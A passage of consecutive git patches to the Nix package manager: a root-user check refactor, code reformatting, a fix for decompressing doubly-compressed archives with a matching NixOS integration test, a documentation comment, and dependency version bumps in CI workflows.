Fri, 29 Mar 2024 15:40:56 -0400 Subject: [PATCH 0384/1251] Factor out `isRootUser` function --- src/libstore/globals.cc | 3 +-- src/libstore/globals.hh | 3 ++- src/libstore/local-store.cc | 7 ++++--- src/libstore/lock.cc | 5 +++-- src/libstore/profiles.cc | 4 ++-- src/libstore/store-api.cc | 2 +- src/libutil/users.cc | 5 +++++ src/libutil/users.hh | 6 ++++++ src/nix-build/nix-build.cc | 6 ++++-- src/nix-env/nix-env.cc | 2 +- src/nix/main.cc | 2 +- 11 files changed, 30 insertions(+), 15 deletions(-) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index fa0938d7b..306e98e2d 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -2,7 +2,6 @@ #include "current-process.hh" #include "archive.hh" #include "args.hh" -#include "users.hh" #include "abstract-setting-to-json.hh" #include "compute-levels.hh" @@ -57,7 +56,7 @@ Settings::Settings() , nixManDir(canonPath(NIX_MAN_DIR)) , nixDaemonSocketFile(canonPath(getEnvNonEmpty("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) { - buildUsersGroup = getuid() == 0 ? "nixbld" : ""; + buildUsersGroup = isRootUser() ? "nixbld" : ""; allowSymlinkedStore = getEnv("NIX_IGNORE_SYMLINK_STORE") == "1"; auto sslOverride = getEnv("NIX_SSL_CERT_FILE").value_or(getEnv("SSL_CERT_FILE").value_or("")); diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index e6acf0a4f..b8958898d 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -5,6 +5,7 @@ #include "config.hh" #include "environment-variables.hh" #include "experimental-features.hh" +#include "users.hh" #include #include @@ -665,7 +666,7 @@ public: Setting sandboxFallback{this, true, "sandbox-fallback", "Whether to disable sandboxing when the kernel doesn't allow it."}; - Setting requireDropSupplementaryGroups{this, getuid() == 0, "require-drop-supplementary-groups", + Setting requireDropSupplementaryGroups{this, isRootUser(), "require-drop-supplementary-groups", R"( Following the principle of least privilege, Nix will attempt to drop supplementary groups when building with sandboxing. diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 1bbeaa912..914f0cbe3 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -16,6 +16,7 @@ #include "posix-fs-canonicalise.hh" #include "posix-source-accessor.hh" #include "keys.hh" +#include "users.hh" #include #include @@ -223,7 +224,7 @@ LocalStore::LocalStore(const Params & params) /* Optionally, create directories and set permissions for a multi-user install. */ - if (getuid() == 0 && settings.buildUsersGroup != "") { + if (isRootUser() && settings.buildUsersGroup != "") { mode_t perm = 01775; struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); @@ -573,7 +574,7 @@ void LocalStore::openDB(State & state, bool create) void LocalStore::makeStoreWritable() { #if __linux__ - if (getuid() != 0) return; + if (!isRootUser()) return; /* Check if /nix/store is on a read-only mount. */ struct statvfs stat; if (statvfs(realStoreDir.get().c_str(), &stat) != 0) @@ -1570,7 +1571,7 @@ static void makeMutable(const Path & path) /* Upgrade from schema 6 (Nix 0.15) to schema 7 (Nix >= 1.3). */ void LocalStore::upgradeStore7() { - if (getuid() != 0) return; + if (!isRootUser()) return; printInfo("removing immutable bits from the Nix store (this may take a while)..."); makeMutable(realStoreDir); } diff --git a/src/libstore/lock.cc b/src/libstore/lock.cc index 87f55ce49..023c74e34 100644 --- a/src/libstore/lock.cc +++ b/src/libstore/lock.cc @@ -2,6 +2,7 @@ #include "file-system.hh" #include "globals.hh" #include "pathlocks.hh" +#include "users.hh" #include #include @@ -192,10 +193,10 @@ std::unique_ptr acquireUserLock(uid_t nrIds, bool useUserNamespace) bool useBuildUsers() { #if __linux__ - static bool b = (settings.buildUsersGroup != "" || settings.autoAllocateUids) && getuid() == 0; + static bool b = (settings.buildUsersGroup != "" || settings.autoAllocateUids) && isRootUser(); return b; #elif __APPLE__ - static bool b = settings.buildUsersGroup != "" && getuid() == 0; + static bool b = settings.buildUsersGroup != "" && isRootUser(); return b; #else return false; diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index e8b88693d..73d3976f4 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -308,7 +308,7 @@ std::string optimisticLockProfile(const Path & profile) Path profilesDir() { auto profileRoot = - (getuid() == 0) + isRootUser() ? rootProfilesDir() : createNixStateDir() + "/profiles"; createDirs(profileRoot); @@ -332,7 +332,7 @@ Path getDefaultProfile() // Backwards compatibiliy measure: Make root's profile available as // `.../default` as it's what NixOS and most of the init scripts expect Path globalProfileLink = settings.nixStateDir + "/profiles/default"; - if (getuid() == 0 && !pathExists(globalProfileLink)) { + if (isRootUser() && !pathExists(globalProfileLink)) { replaceSymlink(profile, globalProfileLink); } return absPath(readLink(profileLink), dirOf(profileLink)); diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 4356296d4..62403e633 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -1307,7 +1307,7 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para #if __linux__ else if (!pathExists(stateDir) && params.empty() - && getuid() != 0 + && !isRootUser() && !getEnv("NIX_STORE_DIR").has_value() && !getEnv("NIX_STATE_DIR").has_value()) { diff --git a/src/libutil/users.cc b/src/libutil/users.cc index 95a641322..8cb3db434 100644 --- a/src/libutil/users.cc +++ b/src/libutil/users.cc @@ -113,4 +113,9 @@ std::string expandTilde(std::string_view path) return std::string(path); } + +bool isRootUser() { + return getuid() == 0; +} + } diff --git a/src/libutil/users.hh b/src/libutil/users.hh index cecbb8bfb..449e5bbe9 100644 --- a/src/libutil/users.hh +++ b/src/libutil/users.hh @@ -55,4 +55,10 @@ Path createNixStateDir(); */ std::string expandTilde(std::string_view path); + +/** + * Is the current user UID 0 on Unix? + */ +bool isRootUser(); + } diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 35eef5b83..8276be8e8 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -24,6 +24,7 @@ #include "common-eval-args.hh" #include "attr-path.hh" #include "legacy.hh" +#include "users.hh" using namespace nix; using namespace std::string_literals; @@ -572,8 +573,9 @@ static void main_nix_build(int argc, char * * argv) "BASH=%5%; " "set +e; " R"s([ -n "$PS1" -a -z "$NIX_SHELL_PRESERVE_PROMPT" ] && )s" + - (getuid() == 0 ? R"s(PS1='\n\[\033[1;31m\][nix-shell:\w]\$\[\033[0m\] '; )s" - : R"s(PS1='\n\[\033[1;32m\][nix-shell:\w]\$\[\033[0m\] '; )s") + + (isRootUser() + ? R"s(PS1='\n\[\033[1;31m\][nix-shell:\w]\$\[\033[0m\] '; )s" + : R"s(PS1='\n\[\033[1;32m\][nix-shell:\w]\$\[\033[0m\] '; )s") + "if [ \"$(type -t runHook)\" = function ]; then runHook shellHook; fi; " "unset NIX_ENFORCE_PURITY; " "shopt -u nullglob; " diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 9288d89a1..177344044 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1414,7 +1414,7 @@ static int main_nix_env(int argc, char * * argv) replaceSymlink( defaultChannelsDir(), nixExprPath + "/channels"); - if (getuid() != 0) + if (!isRootUser()) replaceSymlink( rootChannelsDir(), nixExprPath + "/channels_root"); diff --git a/src/nix/main.cc b/src/nix/main.cc index 22f9e7931..36256f3d0 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -348,7 +348,7 @@ void mainWrapped(int argc, char * * argv) initGC(); #if __linux__ - if (getuid() == 0) { + if (isRootUser()) { try { saveMountNamespace(); if (unshare(CLONE_NEWNS) == -1) From 6d9bafb3b8fa04a4056cb96ce3eb91feeaaec62f Mon Sep 17 00:00:00 2001 From: Sergei Zimmerman Date: Sat, 30 Mar 2024 01:29:22 +0300 Subject: [PATCH 0385/1251] nfc(libutil): reformat files Run clang-format on compression.{cc,hh} and tarfile{cc,hh}. This way follow-up patches will be formatted properly and have easier to read diffs. --- src/libutil/compression.cc | 68 ++++++++++++++++++++++---------------- src/libutil/compression.hh | 5 +-- src/libutil/tarfile.cc | 36 ++++++++++---------- src/libutil/tarfile.hh | 3 +- 4 files changed, 63 insertions(+), 49 deletions(-) diff --git a/src/libutil/compression.cc b/src/libutil/compression.cc index d06f1f87b..d00303dce 100644 --- a/src/libutil/compression.cc +++ b/src/libutil/compression.cc @@ -12,8 +12,6 @@ #include #include -#include - namespace nix { static const int COMPRESSION_LEVEL_DEFAULT = -1; @@ -40,20 +38,24 @@ struct ArchiveDecompressionSource : Source { std::unique_ptr archive = 0; Source & src; - ArchiveDecompressionSource(Source & src) : src(src) {} + ArchiveDecompressionSource(Source & src) + : src(src) + { + } ~ArchiveDecompressionSource() override {} - size_t read(char * data, size_t len) override { + size_t read(char * data, size_t len) override + { struct archive_entry * ae; if (!archive) { archive = std::make_unique(src, true); - this->archive->check(archive_read_next_header(this->archive->archive, &ae), - "failed to read header (%s)"); + this->archive->check(archive_read_next_header(this->archive->archive, &ae), "failed to read header (%s)"); if (archive_filter_count(this->archive->archive) < 2) { throw CompressionError("input compression not recognized"); } } ssize_t result = archive_read_data(this->archive->archive, data, len); - if (result > 0) return result; + if (result > 0) + return result; if (result == 0) { throw EndOfFile("reached end of compressed file"); } @@ -67,16 +69,19 @@ struct ArchiveCompressionSink : CompressionSink Sink & nextSink; struct archive * archive; - ArchiveCompressionSink(Sink & nextSink, std::string format, bool parallel, int level = COMPRESSION_LEVEL_DEFAULT) : nextSink(nextSink) + ArchiveCompressionSink(Sink & nextSink, std::string format, bool parallel, int level = COMPRESSION_LEVEL_DEFAULT) + : nextSink(nextSink) { archive = archive_write_new(); - if (!archive) throw Error("failed to initialize libarchive"); + if (!archive) + throw Error("failed to initialize libarchive"); check(archive_write_add_filter_by_name(archive, format.c_str()), "couldn't initialize compression (%s)"); check(archive_write_set_format_raw(archive)); if (parallel) check(archive_write_set_filter_option(archive, format.c_str(), "threads", "0")); if (level != COMPRESSION_LEVEL_DEFAULT) - check(archive_write_set_filter_option(archive, format.c_str(), "compression-level", std::to_string(level).c_str())); + check(archive_write_set_filter_option( + archive, format.c_str(), "compression-level", std::to_string(level).c_str())); // disable internal buffering check(archive_write_set_bytes_per_block(archive, 0)); // disable output padding @@ -86,7 +91,8 @@ struct ArchiveCompressionSink : CompressionSink ~ArchiveCompressionSink() override { - if (archive) archive_write_free(archive); + if (archive) + archive_write_free(archive); } void finish() override @@ -106,7 +112,8 @@ struct ArchiveCompressionSink : CompressionSink void writeUnbuffered(std::string_view data) override { ssize_t result = archive_write_data(archive, data.data(), data.length()); - if (result <= 0) check(result); + if (result <= 0) + check(result); } private: @@ -130,13 +137,20 @@ private: struct NoneSink : CompressionSink { Sink & nextSink; - NoneSink(Sink & nextSink, int level = COMPRESSION_LEVEL_DEFAULT) : nextSink(nextSink) + NoneSink(Sink & nextSink, int level = COMPRESSION_LEVEL_DEFAULT) + : nextSink(nextSink) { if (level != COMPRESSION_LEVEL_DEFAULT) warn("requested compression level '%d' not supported by compression method 'none'", level); } - void finish() override { flush(); } - void writeUnbuffered(std::string_view data) override { nextSink(data); } + void finish() override + { + flush(); + } + void writeUnbuffered(std::string_view data) override + { + nextSink(data); + } }; struct BrotliDecompressionSink : ChunkedCompressionSink @@ -145,7 +159,8 @@ struct BrotliDecompressionSink : ChunkedCompressionSink BrotliDecoderState * state; bool finished = false; - BrotliDecompressionSink(Sink & nextSink) : nextSink(nextSink) + BrotliDecompressionSink(Sink & nextSink) + : nextSink(nextSink) { state = BrotliDecoderCreateInstance(nullptr, nullptr, nullptr); if (!state) @@ -173,10 +188,7 @@ struct BrotliDecompressionSink : ChunkedCompressionSink while (!finished && (!data.data() || avail_in)) { checkInterrupt(); - if (!BrotliDecoderDecompressStream(state, - &avail_in, &next_in, - &avail_out, &next_out, - nullptr)) + if (!BrotliDecoderDecompressStream(state, &avail_in, &next_in, &avail_out, &next_out, nullptr)) throw CompressionError("error while decompressing brotli file"); if (avail_out < sizeof(outbuf) || avail_in == 0) { @@ -219,7 +231,8 @@ struct BrotliCompressionSink : ChunkedCompressionSink BrotliEncoderState * state; bool finished = false; - BrotliCompressionSink(Sink & nextSink) : nextSink(nextSink) + BrotliCompressionSink(Sink & nextSink) + : nextSink(nextSink) { state = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); if (!state) @@ -247,11 +260,9 @@ struct BrotliCompressionSink : ChunkedCompressionSink while (!finished && (!data.data() || avail_in)) { checkInterrupt(); - if (!BrotliEncoderCompressStream(state, - data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, - &avail_in, &next_in, - &avail_out, &next_out, - nullptr)) + if (!BrotliEncoderCompressStream( + state, data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, &avail_in, &next_in, + &avail_out, &next_out, nullptr)) throw CompressionError("error while compressing brotli compression"); if (avail_out < sizeof(outbuf) || avail_in == 0) { @@ -267,9 +278,8 @@ struct BrotliCompressionSink : ChunkedCompressionSink ref makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel, int level) { - std::vector la_supports = { - "bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", "lzip", "lzma", "lzop", "xz", "zstd" - }; + std::vector la_supports = {"bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", + "lzip", "lzma", "lzop", "xz", "zstd"}; if (std::find(la_supports.begin(), la_supports.end(), method) != la_supports.end()) { return make_ref(nextSink, method, parallel, level); } diff --git a/src/libutil/compression.hh b/src/libutil/compression.hh index 4e53a7b3c..e0c531b1f 100644 --- a/src/libutil/compression.hh +++ b/src/libutil/compression.hh @@ -11,7 +11,7 @@ namespace nix { struct CompressionSink : BufferedSink, FinishSink { - using BufferedSink::operator (); + using BufferedSink::operator(); using BufferedSink::writeUnbuffered; using FinishSink::finish; }; @@ -22,7 +22,8 @@ std::unique_ptr makeDecompressionSink(const std::string & method, Si std::string compress(const std::string & method, std::string_view in, const bool parallel = false, int level = -1); -ref makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel = false, int level = -1); +ref +makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel = false, int level = -1); MakeError(UnknownCompressionMethod, Error); diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 3bb6694f8..4a11195c4 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -12,7 +12,7 @@ static int callback_open(struct archive *, void * self) return ARCHIVE_OK; } -static ssize_t callback_read(struct archive * archive, void * _self, const void * * buffer) +static ssize_t callback_read(struct archive * archive, void * _self, const void ** buffer) { auto self = (TarArchive *) _self; *buffer = self->buffer.data(); @@ -40,7 +40,8 @@ void TarArchive::check(int err, const std::string & reason) throw Error(reason, archive_error_string(this->archive)); } -TarArchive::TarArchive(Source & source, bool raw) : buffer(65536) +TarArchive::TarArchive(Source & source, bool raw) + : buffer(65536) { this->archive = archive_read_new(); this->source = &source; @@ -54,10 +55,11 @@ TarArchive::TarArchive(Source & source, bool raw) : buffer(65536) archive_read_support_format_empty(archive); } archive_read_set_option(archive, NULL, "mac-ext", NULL); - check(archive_read_open(archive, (void *)this, callback_open, callback_read, callback_close), "Failed to open archive (%s)"); + check( + archive_read_open(archive, (void *) this, callback_open, callback_read, callback_close), + "Failed to open archive (%s)"); } - TarArchive::TarArchive(const Path & path) { this->archive = archive_read_new(); @@ -75,19 +77,19 @@ void TarArchive::close() TarArchive::~TarArchive() { - if (this->archive) archive_read_free(this->archive); + if (this->archive) + archive_read_free(this->archive); } static void extract_archive(TarArchive & archive, const Path & destDir) { - int flags = ARCHIVE_EXTRACT_TIME - | ARCHIVE_EXTRACT_SECURE_SYMLINKS - | ARCHIVE_EXTRACT_SECURE_NODOTDOT; + int flags = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_SECURE_SYMLINKS | ARCHIVE_EXTRACT_SECURE_NODOTDOT; for (;;) { struct archive_entry * entry; int r = archive_read_next_header(archive.archive, &entry); - if (r == ARCHIVE_EOF) break; + if (r == ARCHIVE_EOF) + break; auto name = archive_entry_pathname(entry); if (!name) throw Error("cannot get archive member name: %s", archive_error_string(archive.archive)); @@ -96,18 +98,16 @@ static void extract_archive(TarArchive & archive, const Path & destDir) else archive.check(r); - archive_entry_copy_pathname(entry, - (destDir + "/" + name).c_str()); + archive_entry_copy_pathname(entry, (destDir + "/" + name).c_str()); // sources can and do contain dirs with no rx bits if (archive_entry_filetype(entry) == AE_IFDIR && (archive_entry_mode(entry) & 0500) != 0500) archive_entry_set_mode(entry, archive_entry_mode(entry) | 0500); // Patch hardlink path - const char *original_hardlink = archive_entry_hardlink(entry); + const char * original_hardlink = archive_entry_hardlink(entry); if (original_hardlink) { - archive_entry_copy_hardlink(entry, - (destDir + "/" + original_hardlink).c_str()); + archive_entry_copy_hardlink(entry, (destDir + "/" + original_hardlink).c_str()); } archive.check(archive_read_extract(archive.archive, entry, flags)); @@ -140,7 +140,8 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin // FIXME: merge with extract_archive struct archive_entry * entry; int r = archive_read_next_header(archive.archive, &entry); - if (r == ARCHIVE_EOF) break; + if (r == ARCHIVE_EOF) + break; auto path = archive_entry_pathname(entry); if (!path) throw Error("cannot get archive member name: %s", archive_error_string(archive.archive)); @@ -167,8 +168,9 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin auto n = archive_read_data(archive.archive, buf.data(), buf.size()); if (n < 0) throw Error("cannot read file '%s' from tarball", path); - if (n == 0) break; - crf(std::string_view { + if (n == 0) + break; + crf(std::string_view{ (const char *) buf.data(), (size_t) n, }); diff --git a/src/libutil/tarfile.hh b/src/libutil/tarfile.hh index 6a9c42149..200bb8f8f 100644 --- a/src/libutil/tarfile.hh +++ b/src/libutil/tarfile.hh @@ -7,7 +7,8 @@ namespace nix { -struct TarArchive { +struct TarArchive +{ struct archive * archive; Source * source; std::vector buffer; From 500683a94903bf2472c5306fe42a02ea76f621dd Mon Sep 17 00:00:00 2001 From: Sergei Zimmerman Date: Sat, 30 Mar 2024 01:29:29 +0300 Subject: [PATCH 0386/1251] fix(libutil): apply only the specified filter to decompress archive This patch makes `makeDecompressionSink` strip only a single layer of compression specified via method. This fixes erroneous decompression of doubly-compressed NARs fetched with curl. --- src/libutil/compression.cc | 10 ++++--- src/libutil/tarfile.cc | 57 +++++++++++++++++++++++++++++--------- src/libutil/tarfile.hh | 16 +++++++++-- 3 files changed, 63 insertions(+), 20 deletions(-) diff --git a/src/libutil/compression.cc b/src/libutil/compression.cc index d00303dce..d17401f27 100644 --- a/src/libutil/compression.cc +++ b/src/libutil/compression.cc @@ -38,8 +38,10 @@ struct ArchiveDecompressionSource : Source { std::unique_ptr archive = 0; Source & src; - ArchiveDecompressionSource(Source & src) + std::optional compressionMethod; + ArchiveDecompressionSource(Source & src, std::optional compressionMethod = std::nullopt) : src(src) + , compressionMethod(std::move(compressionMethod)) { } ~ArchiveDecompressionSource() override {} @@ -47,7 +49,7 @@ struct ArchiveDecompressionSource : Source { struct archive_entry * ae; if (!archive) { - archive = std::make_unique(src, true); + archive = std::make_unique(src, /*raw*/ true, compressionMethod); this->archive->check(archive_read_next_header(this->archive->archive, &ae), "failed to read header (%s)"); if (archive_filter_count(this->archive->archive) < 2) { throw CompressionError("input compression not recognized"); @@ -218,8 +220,8 @@ std::unique_ptr makeDecompressionSink(const std::string & method, Si else if (method == "br") return std::make_unique(nextSink); else - return sourceToSink([&](Source & source) { - auto decompressionSource = std::make_unique(source); + return sourceToSink([method, &nextSink](Source & source) { + auto decompressionSource = std::make_unique(source, method); decompressionSource->drainInto(nextSink); }); } diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 4a11195c4..6bb2bd2f3 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -1,18 +1,21 @@ #include #include +#include "finally.hh" #include "serialise.hh" #include "tarfile.hh" #include "file-system.hh" namespace nix { -static int callback_open(struct archive *, void * self) +namespace { + +int callback_open(struct archive *, void * self) { return ARCHIVE_OK; } -static ssize_t callback_read(struct archive * archive, void * _self, const void ** buffer) +ssize_t callback_read(struct archive * archive, void * _self, const void ** buffer) { auto self = (TarArchive *) _self; *buffer = self->buffer.data(); @@ -27,33 +30,61 @@ static ssize_t callback_read(struct archive * archive, void * _self, const void } } -static int callback_close(struct archive *, void * self) +int callback_close(struct archive *, void * self) { return ARCHIVE_OK; } -void TarArchive::check(int err, const std::string & reason) +void checkLibArchive(archive * archive, int err, const std::string & reason) { if (err == ARCHIVE_EOF) throw EndOfFile("reached end of archive"); else if (err != ARCHIVE_OK) - throw Error(reason, archive_error_string(this->archive)); + throw Error(reason, archive_error_string(archive)); } -TarArchive::TarArchive(Source & source, bool raw) - : buffer(65536) +constexpr auto defaultBufferSize = std::size_t{65536}; +} + +void TarArchive::check(int err, const std::string & reason) { - this->archive = archive_read_new(); - this->source = &source; + checkLibArchive(archive, err, reason); +} + +/// @brief Get filter_code from its name. +/// +/// libarchive does not provide a convenience function like archive_write_add_filter_by_name but for reading. +/// Instead it's necessary to use this kludge to convert method -> code and +/// then use archive_read_support_filter_by_code. Arguably this is better than +/// hand-rolling the equivalent function that is better implemented in libarchive. +int getArchiveFilterCodeByName(const std::string & method) +{ + auto * ar = archive_write_new(); + auto cleanup = Finally{[&ar]() { checkLibArchive(ar, archive_write_close(ar), "failed to close archive: %s"); }}; + auto err = archive_write_add_filter_by_name(ar, method.c_str()); + checkLibArchive(ar, err, "failed to get libarchive filter by name: %s"); + auto code = archive_filter_code(ar, 0); + return code; +} + +TarArchive::TarArchive(Source & source, bool raw, std::optional compression_method) + : archive{archive_read_new()} + , source{&source} + , buffer(defaultBufferSize) +{ + if (!compression_method) { + archive_read_support_filter_all(archive); + } else { + archive_read_support_filter_by_code(archive, getArchiveFilterCodeByName(*compression_method)); + } if (!raw) { - archive_read_support_filter_all(archive); archive_read_support_format_all(archive); } else { - archive_read_support_filter_all(archive); archive_read_support_format_raw(archive); archive_read_support_format_empty(archive); } + archive_read_set_option(archive, NULL, "mac-ext", NULL); check( archive_read_open(archive, (void *) this, callback_open, callback_read, callback_close), @@ -61,9 +92,9 @@ TarArchive::TarArchive(Source & source, bool raw) } TarArchive::TarArchive(const Path & path) + : archive{archive_read_new()} + , buffer(defaultBufferSize) { - this->archive = archive_read_new(); - archive_read_support_filter_all(archive); archive_read_support_format_all(archive); archive_read_set_option(archive, NULL, "mac-ext", NULL); diff --git a/src/libutil/tarfile.hh b/src/libutil/tarfile.hh index 200bb8f8f..705d211e4 100644 --- a/src/libutil/tarfile.hh +++ b/src/libutil/tarfile.hh @@ -15,18 +15,28 @@ struct TarArchive void check(int err, const std::string & reason = "failed to extract archive (%s)"); - TarArchive(Source & source, bool raw = false); + explicit TarArchive(const Path & path); - TarArchive(const Path & path); + /// @brief Create a generic archive from source. + /// @param source - Input byte stream. + /// @param raw - Whether to enable raw file support. For more info look in docs: + /// https://manpages.debian.org/stretch/libarchive-dev/archive_read_format.3.en.html + /// @param compression_method - Primary compression method to use. std::nullopt means 'all'. + TarArchive(Source & source, bool raw = false, std::optional compression_method = std::nullopt); - /// disable copy constructor + /// Disable copy constructor. Explicitly default move assignment/constructor. TarArchive(const TarArchive &) = delete; + TarArchive & operator=(const TarArchive &) = delete; + TarArchive(TarArchive &&) = default; + TarArchive & operator=(TarArchive &&) = default; void close(); ~TarArchive(); }; +int getArchiveFilterCodeByName(const std::string & method); + void unpackTarfile(Source & source, const Path & destDir); void unpackTarfile(const Path & tarFile, const Path & destDir); From a66b5a1526dd1e1cd1a56c6cd1b6c9bc20b6d8b4 Mon Sep 17 00:00:00 2001 From: Sergei Zimmerman Date: Sat, 30 Mar 2024 01:29:34 +0300 Subject: [PATCH 0387/1251] test(nixos): add integration test for doubly-compressed content Add an integration test with a compressing proxy (nginx is used). This test verifies that fetched archives do not get decompressed excessively. --- tests/nixos/default.nix | 2 + tests/nixos/gzip-content-encoding.nix | 71 +++++++++++++++++++++++++++ 2 files changed, 73 insertions(+) create mode 100644 tests/nixos/gzip-content-encoding.nix diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 98de31e13..627728424 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -158,4 +158,6 @@ in fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; + + gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix; } diff --git a/tests/nixos/gzip-content-encoding.nix b/tests/nixos/gzip-content-encoding.nix new file mode 100644 index 000000000..a5a0033fd --- /dev/null +++ b/tests/nixos/gzip-content-encoding.nix @@ -0,0 +1,71 @@ +# Test that compressed files fetched from server with compressed responses +# do not get excessively decompressed. +# E.g. fetching a zstd compressed tarball from a server, +# which compresses the response with `Content-Encoding: gzip`. +# The expected result is that the fetched file is a zstd archive. + +{ lib, config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + ztdCompressedFile = pkgs.stdenv.mkDerivation { + name = "dummy-zstd-compressed-archive"; + dontUnpack = true; + nativeBuildInputs = with pkgs; [ zstd ]; + buildPhase = '' + mkdir archive + for _ in {1..100}; do echo "lorem" > archive/file1; done + for _ in {1..100}; do echo "ipsum" > archive/file2; done + tar --zstd -cf archive.tar.zst archive + ''; + installPhase = '' + install -Dm 644 -T archive.tar.zst $out/share/archive + ''; + }; + + fileCmd = "${pkgs.file}/bin/file"; +in + +{ + name = "gzip-content-encoding"; + + nodes = + { machine = + { config, pkgs, ... }: + { networking.firewall.allowedTCPPorts = [ 80 ]; + + services.nginx.enable = true; + services.nginx.virtualHosts."localhost" = + { root = "${ztdCompressedFile}/share/"; + # Make sure that nginx really tries to compress the + # file on the fly with no regard to size/mime. + # http://nginx.org/en/docs/http/ngx_http_gzip_module.html + extraConfig = '' + gzip on; + gzip_types *; + gzip_proxied any; + gzip_min_length 0; + ''; + }; + virtualisation.writableStore = true; + virtualisation.additionalPaths = with pkgs; [ file ]; + nix.settings.substituters = lib.mkForce [ ]; + }; + }; + + # Check that when nix-prefetch-url is used with a zst tarball it does not get decompressed. + testScript = { nodes }: '' + # fmt: off + start_all() + + machine.wait_for_unit("nginx.service") + machine.succeed(""" + # Make sure that the file is properly compressed as the test would be meaningless otherwise + curl --compressed -v http://localhost/archive |& tr -s ' ' |& grep --ignore-case 'content-encoding: gzip' + archive_path=$(nix-prefetch-url http://localhost/archive --print-path | tail -n1) + [[ $(${fileCmd} --brief --mime-type $archive_path) == "application/zstd" ]] + tar --zstd -xf $archive_path + """) + ''; +} From 3752bbef28899bc05e2e144fae5dcf37d99f86b5 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 30 Mar 2024 10:39:25 -0400 Subject: [PATCH 0388/1251] Document `maybeLstat` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/libutil/file-system.hh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index dd071e1af..06a993829 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -84,6 +84,10 @@ bool isDirOrInDir(std::string_view path, std::string_view dir); */ struct stat stat(const Path & path); struct stat lstat(const Path & path); +/** + * `lstat` the given path if it exists. + * @return std::nullopt if the path doesn't exist, or an optional containing the result of `lstat` otherwise + */ std::optional maybeLstat(const Path & path); /** From 39c554aad4bb76ff31b8a3072d6b8882297d0d9f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 1 Apr 2024 22:32:29 +0000 Subject: [PATCH 0389/1251] build(deps): bump zeebe-io/backport-action from 2.4.1 to 2.5.0 Bumps [zeebe-io/backport-action](https://github.com/zeebe-io/backport-action) from 2.4.1 to 2.5.0. - [Release notes](https://github.com/zeebe-io/backport-action/releases) - [Commits](https://github.com/zeebe-io/backport-action/compare/v2.4.1...v2.5.0) --- updated-dependencies: - dependency-name: zeebe-io/backport-action dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- .github/workflows/backport.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml index 5b75704b5..8f83b913c 100644 --- a/.github/workflows/backport.yml +++ b/.github/workflows/backport.yml @@ -21,7 +21,7 @@ jobs: fetch-depth: 0 - name: Create backport PRs # should be kept in sync with `version` - uses: zeebe-io/backport-action@v2.4.1 + uses: zeebe-io/backport-action@v2.5.0 with: # Config README: https://github.com/zeebe-io/backport-action#backport-action github_token: ${{ secrets.GITHUB_TOKEN }} From 29239a282964a946ca79d825bfea781e2cb7cd02 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 1 Apr 2024 22:32:31 +0000 Subject: [PATCH 0390/1251] build(deps): bump actions/checkout from 3 to 4 Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4. - [Release notes](https://github.com/actions/checkout/releases) - [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md) - [Commits](https://github.com/actions/checkout/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/checkout dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 